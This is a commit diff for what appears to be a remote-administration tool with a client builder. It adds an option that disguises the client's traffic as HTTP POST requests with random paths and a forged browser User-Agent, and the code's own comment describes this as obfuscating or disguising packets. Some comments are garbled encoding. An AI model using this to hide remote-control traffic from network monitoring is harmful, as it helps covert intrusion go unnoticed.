Feature: Support HTTP protocol and add building option
This commit is contained in:
@@ -143,6 +143,14 @@ ULONG CBuffer::GetBufferLength() const
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CBuffer::Skip(ULONG ulPos) {
|
||||||
|
if (ulPos == 0)
|
||||||
|
return;
|
||||||
|
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
|
||||||
|
m_Ptr -= ulPos;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
||||||
{
|
{
|
||||||
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base))
|
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base))
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ public:
|
|||||||
BOOL ReAllocateBuffer(ULONG ulLength);
|
BOOL ReAllocateBuffer(ULONG ulLength);
|
||||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
PBYTE GetBuffer(ULONG ulPos=0) const;
|
||||||
|
void Skip(ULONG ulPos);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
PBYTE m_Base;
|
PBYTE m_Base;
|
||||||
|
|||||||
@@ -96,11 +96,12 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bExit(bExit)
|
||||||
{
|
{
|
||||||
m_ServerAddr = {};
|
m_ServerAddr = {};
|
||||||
m_nHostPort = 0;
|
m_nHostPort = 0;
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
|
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
@@ -147,6 +148,7 @@ IOCPClient::~IOCPClient()
|
|||||||
ZSTD_freeCCtx(m_Cctx);
|
ZSTD_freeCCtx(m_Cctx);
|
||||||
ZSTD_freeDCtx(m_Dctx);
|
ZSTD_freeDCtx(m_Dctx);
|
||||||
#endif
|
#endif
|
||||||
|
m_masker->Destroy();
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||||
@@ -196,6 +198,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
SetServerAddress(szServerIP, uPort);
|
SetServerAddress(szServerIP, uPort);
|
||||||
}
|
}
|
||||||
m_sCurIP = m_Domain.SelectIP();
|
m_sCurIP = m_Domain.SelectIP();
|
||||||
|
m_masker->SetServer(m_sCurIP.c_str());
|
||||||
unsigned short port = m_nHostPort;
|
unsigned short port = m_nHostPort;
|
||||||
|
|
||||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -362,8 +365,16 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||||
{
|
{
|
||||||
|
// UnMask
|
||||||
|
char* src = (char*)m_CompressedBuffer.GetBuffer();
|
||||||
|
ULONG srcSize = m_CompressedBuffer.GetBufferLength();
|
||||||
|
ULONG ret = m_masker->UnMask(src, srcSize);
|
||||||
|
m_CompressedBuffer.Skip(ret);
|
||||||
|
if (m_CompressedBuffer.GetBufferLength() <= HDR_LENGTH)
|
||||||
|
break;
|
||||||
|
|
||||||
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
||||||
LPBYTE src = m_CompressedBuffer.GetBuffer();
|
src = (char*)m_CompressedBuffer.GetBuffer();
|
||||||
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||||
@@ -431,6 +442,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
AUTO_TICK(50);
|
AUTO_TICK(50);
|
||||||
assert (ulOriginalLength > 0);
|
assert (ulOriginalLength > 0);
|
||||||
{
|
{
|
||||||
|
int cmd = BYTE(szBuffer[0]);
|
||||||
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
|
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
|
||||||
//<2F><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>// HelloWorld 10 22
|
//<2F><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>// HelloWorld 10 22
|
||||||
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
||||||
@@ -470,14 +482,22 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||||
|
|
||||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
|
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 5 2 // 2 2 1
|
// 5 2 // 2 2 1
|
||||||
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd)
|
||||||
{
|
{
|
||||||
|
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
|
||||||
|
return FALSE;
|
||||||
|
// Mask
|
||||||
|
char* szBuffer = nullptr;
|
||||||
|
ULONG ulLength = 0;
|
||||||
|
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
|
||||||
|
|
||||||
AUTO_TICK(25);
|
AUTO_TICK(25);
|
||||||
|
bool isFail = false;
|
||||||
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
||||||
const char* Travel = szBuffer;
|
const char* Travel = szBuffer;
|
||||||
int i = 0;
|
int i = 0;
|
||||||
@@ -497,14 +517,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
|||||||
}
|
}
|
||||||
if (j == ulSendRetry)
|
if (j == ulSendRetry)
|
||||||
{
|
{
|
||||||
return FALSE;
|
isFail = true;
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
ulSended += iReturn;
|
ulSended += iReturn;
|
||||||
Travel += ulSplitLength;
|
Travel += ulSplitLength;
|
||||||
}
|
}
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
|
||||||
if (i>0) //1024
|
if (!isFail && i>0) //1024
|
||||||
{
|
{
|
||||||
int j = 0;
|
int j = 0;
|
||||||
for (; j < ulSendRetry; j++)
|
for (; j < ulSendRetry; j++)
|
||||||
@@ -518,10 +539,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
|||||||
}
|
}
|
||||||
if (j == ulSendRetry)
|
if (j == ulSendRetry)
|
||||||
{
|
{
|
||||||
return FALSE;
|
isFail = true;
|
||||||
}
|
}
|
||||||
ulSended += iReturn;
|
ulSended += iReturn;
|
||||||
}
|
}
|
||||||
|
if (szBuffer != src)
|
||||||
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
|
if (isFail) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
return (ulSended == ulLength) ? TRUE : FALSE;
|
return (ulSended == ulLength) ? TRUE : FALSE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,9 +12,9 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include "Buffer.h"
|
#include "Buffer.h"
|
||||||
#include "common/commands.h"
|
|
||||||
#include "zstd/zstd.h"
|
#include "zstd/zstd.h"
|
||||||
#include "domain_pool.h"
|
#include "domain_pool.h"
|
||||||
|
#include "common/mask.h"
|
||||||
|
|
||||||
#define MAX_RECV_BUFFER 1024*32
|
#define MAX_RECV_BUFFER 1024*32
|
||||||
#define MAX_SEND_BUFFER 1024*32
|
#define MAX_SEND_BUFFER 1024*32
|
||||||
@@ -57,7 +57,7 @@ public:
|
|||||||
class IOCPClient
|
class IOCPClient
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0);
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
|
|
||||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||||
@@ -110,7 +110,7 @@ protected:
|
|||||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
sockaddr_in m_ServerAddr;
|
sockaddr_in m_ServerAddr;
|
||||||
@@ -134,4 +134,5 @@ protected:
|
|||||||
std::string m_sCurIP;
|
std::string m_sCurIP;
|
||||||
int m_nHostPort;
|
int m_nHostPort;
|
||||||
bool m_exit_while_disconnect;
|
bool m_exit_while_disconnect;
|
||||||
|
PkgMask* m_masker;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -21,7 +21,8 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
|
|||||||
return new IOCPClient(bExit, exit_while_disconnect);
|
return new IOCPClient(bExit, exit_while_disconnect);
|
||||||
if (conn->protoType == PROTO_UDP)
|
if (conn->protoType == PROTO_UDP)
|
||||||
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||||
|
if (conn->protoType == PROTO_HTTP)
|
||||||
|
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -201,6 +201,7 @@
|
|||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\mask.h" />
|
||||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||||
<ClInclude Include="Audio.h" />
|
<ClInclude Include="Audio.h" />
|
||||||
<ClInclude Include="AudioManager.h" />
|
<ClInclude Include="AudioManager.h" />
|
||||||
|
|||||||
155
common/mask.h
Normal file
155
common/mask.h
Normal file
@@ -0,0 +1,155 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "commands.h"
|
||||||
|
|
||||||
|
// 数据包协议封装格式
|
||||||
|
// Copy left: 962914132@qq.com & ChatGPT
|
||||||
|
enum PkgMaskType {
|
||||||
|
MaskTypeUnknown = -1,
|
||||||
|
MaskTypeNone,
|
||||||
|
MaskTypeHTTP,
|
||||||
|
MaskTypeNum,
|
||||||
|
};
|
||||||
|
|
||||||
|
inline ULONG UnMaskHttp(char* src, ULONG srcSize) {
|
||||||
|
const char* header_end_mark = "\r\n\r\n";
|
||||||
|
const ULONG mark_len = 4;
|
||||||
|
|
||||||
|
// 查找 HTTP 头部结束标记
|
||||||
|
for (ULONG i = 0; i + mark_len <= srcSize; ++i) {
|
||||||
|
if (memcmp(src + i, header_end_mark, mark_len) == 0) {
|
||||||
|
return i + mark_len; // 返回 Body 起始位置
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0; // 无效数据
|
||||||
|
}
|
||||||
|
|
||||||
|
// TryUnMask 尝试去掉伪装的协议头.
|
||||||
|
inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) {
|
||||||
|
if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) {
|
||||||
|
maskHit = MaskTypeHTTP;
|
||||||
|
return UnMaskHttp(src, srcSize);
|
||||||
|
}
|
||||||
|
maskHit = MaskTypeNone;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// PkgMask 针对消息进一步加密、混淆或伪装.
|
||||||
|
class PkgMask {
|
||||||
|
protected:
|
||||||
|
virtual ~PkgMask() {}
|
||||||
|
public:
|
||||||
|
virtual void Destroy() {
|
||||||
|
delete this;
|
||||||
|
}
|
||||||
|
virtual void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) {
|
||||||
|
dst = src;
|
||||||
|
dstSize = srcSize;
|
||||||
|
}
|
||||||
|
virtual ULONG UnMask(char* src, ULONG srcSize) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
virtual void SetServer(const char* addr) {}
|
||||||
|
};
|
||||||
|
|
||||||
|
class HttpMask : public PkgMask {
|
||||||
|
public:
|
||||||
|
/**
|
||||||
|
* @brief 构造函数
|
||||||
|
* @param host HTTP Host 头字段
|
||||||
|
*/
|
||||||
|
explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) {
|
||||||
|
// 初始化随机数生成器
|
||||||
|
srand(static_cast<unsigned>(time(nullptr)));
|
||||||
|
char buf[32];
|
||||||
|
sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10);
|
||||||
|
version_ = buf;
|
||||||
|
user_agent_ = GetEnhancedSystemUA(product_, version_);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief 将原始数据伪装为 HTTP 请求
|
||||||
|
* @param dst [输出] 伪装后的数据缓冲区(需调用者释放)
|
||||||
|
* @param dstSize [输出] 伪装后数据长度
|
||||||
|
* @param src 原始数据指针
|
||||||
|
* @param srcSize 原始数据长度
|
||||||
|
* @param cmd 命令号
|
||||||
|
*/
|
||||||
|
void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) {
|
||||||
|
// 生成动态 HTTP 头部
|
||||||
|
std::string http_header =
|
||||||
|
"POST " + GeneratePath(cmd) + " HTTP/1.1\r\n"
|
||||||
|
"Host: " + host_ + "\r\n"
|
||||||
|
"User-Agent: " + user_agent_ + "\r\n"
|
||||||
|
"Content-Type: application/octet-stream\r\n"
|
||||||
|
"Content-Length: " + std::to_string(srcSize) + "\r\n"
|
||||||
|
"Connection: keep-alive\r\n"
|
||||||
|
"\r\n"; // 空行分隔头部和 Body
|
||||||
|
|
||||||
|
// 分配输出缓冲区
|
||||||
|
dstSize = static_cast<ULONG>(http_header.size()) + srcSize;
|
||||||
|
dst = new char[dstSize];
|
||||||
|
|
||||||
|
// 拷贝数据:HTTP 头部 + 原始数据
|
||||||
|
memcpy(dst, http_header.data(), http_header.size());
|
||||||
|
memcpy(dst + http_header.size(), src, srcSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief 从 HTTP 数据中提取原始数据起始位置
|
||||||
|
* @param src 收到的 HTTP 数据
|
||||||
|
* @param srcSize 数据长度
|
||||||
|
* @return ULONG 原始数据在 src 中的起始偏移量(失败返回 0)
|
||||||
|
*/
|
||||||
|
ULONG UnMask(char* src, ULONG srcSize) {
|
||||||
|
return UnMaskHttp(src, srcSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
void SetServer(const char* addr) {
|
||||||
|
host_ = addr;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
OSVERSIONINFOEX osvi = {};
|
||||||
|
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||||
|
GetVersionEx((OSVERSIONINFO*)&osvi);
|
||||||
|
|
||||||
|
// 获取系统架构
|
||||||
|
SYSTEM_INFO si;
|
||||||
|
GetNativeSystemInfo(&si);
|
||||||
|
std::string arch = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) ? "Win64; x64" :
|
||||||
|
(si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) ? "Win64; ARM64" :
|
||||||
|
"WOW64";
|
||||||
|
|
||||||
|
return "Mozilla/5.0 (" +
|
||||||
|
std::string("Windows NT ") +
|
||||||
|
std::to_string(osvi.dwMajorVersion) + "." +
|
||||||
|
std::to_string(osvi.dwMinorVersion) + "; " +
|
||||||
|
arch + ") " +
|
||||||
|
appName + "/" + appVersion;
|
||||||
|
#else
|
||||||
|
return "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36";
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string host_; // 目标主机
|
||||||
|
std::string product_; // 产品名称
|
||||||
|
std::string version_; // 产品版本
|
||||||
|
std::string user_agent_;// 代理名称
|
||||||
|
|
||||||
|
/** 生成随机 URL 路径 */
|
||||||
|
std::string GenerateRandomString(int size = 8) const {
|
||||||
|
static const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||||
|
char path[32];
|
||||||
|
for (int i = 0; i < size; ++i) {
|
||||||
|
path[i] = charset[rand() % (sizeof(charset) - 1)];
|
||||||
|
}
|
||||||
|
path[size] = 0;
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
std::string GeneratePath(int cmd) const {
|
||||||
|
static std::string root = "/" + product_ + "/" + GenerateRandomString() + "/";
|
||||||
|
return root + (cmd == -1 ? GenerateRandomString() : std::to_string(cmd));
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -186,6 +186,18 @@ ULONG CBuffer::GetBufferLength() //
|
|||||||
return len;
|
return len;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CBuffer::Skip(ULONG ulPos) {
|
||||||
|
if (ulPos == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
|
||||||
|
m_Ptr -= ulPos;
|
||||||
|
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
|
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
|
||||||
LPBYTE CBuffer::GetBuffer(ULONG ulPos)
|
LPBYTE CBuffer::GetBuffer(ULONG ulPos)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -75,12 +75,18 @@ public:
|
|||||||
ULONG GetBufferLen() { return GetBufferLength(); }
|
ULONG GetBufferLen() { return GetBufferLength(); }
|
||||||
VOID ClearBuffer();
|
VOID ClearBuffer();
|
||||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); }
|
BOOL Write(PBYTE Buffer, ULONG ulLength) {
|
||||||
|
return WriteBuffer(Buffer, ulLength);
|
||||||
|
}
|
||||||
|
BOOL WriteBuffer(CBuffer& buf) {
|
||||||
|
return WriteBuffer(buf.GetBuffer(), buf.GetBufferLen());
|
||||||
|
}
|
||||||
LPBYTE GetBuffer(ULONG ulPos=0);
|
LPBYTE GetBuffer(ULONG ulPos=0);
|
||||||
Buffer GetMyBuffer(ULONG ulPos);
|
Buffer GetMyBuffer(ULONG ulPos);
|
||||||
BYTE GetBYTE(ULONG ulPos);
|
BYTE GetBYTE(ULONG ulPos);
|
||||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
|
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
|
||||||
ULONG RemoveCompletedBuffer(ULONG ulLength);
|
ULONG RemoveCompletedBuffer(ULONG ulLength);
|
||||||
|
void Skip(ULONG ulPos);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
PBYTE m_Base;
|
PBYTE m_Base;
|
||||||
|
|||||||
@@ -261,6 +261,7 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
|
|
||||||
m_ComboProto.InsertString(PROTO_TCP, "TCP");
|
m_ComboProto.InsertString(PROTO_TCP, "TCP");
|
||||||
m_ComboProto.InsertString(PROTO_UDP, "UDP");
|
m_ComboProto.InsertString(PROTO_UDP, "UDP");
|
||||||
|
m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
|
||||||
m_ComboProto.SetCurSel(PROTO_TCP);
|
m_ComboProto.SetCurSel(PROTO_TCP);
|
||||||
|
|
||||||
m_OtherItem.ShowWindow(SW_HIDE);
|
m_OtherItem.ShowWindow(SW_HIDE);
|
||||||
|
|||||||
@@ -566,7 +566,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
|
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
|
||||||
assert(ContextObject);
|
assert(ContextObject);
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
unsigned cmd = szBuffer[0];
|
int cmd = szBuffer[0];
|
||||||
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
|
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
|
||||||
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
|
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
|
||||||
char buf[100] = { 0 };
|
char buf[100] = { 0 };
|
||||||
@@ -589,7 +589,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
}
|
}
|
||||||
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
|
||||||
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
|
||||||
ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength);
|
ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength, cmd);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
||||||
@@ -616,7 +616,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
|
|
||||||
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
|
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
|
||||||
|
|
||||||
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
|
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength, cmd);
|
||||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||||
}while (false);
|
}while (false);
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include "stdafx.h"
|
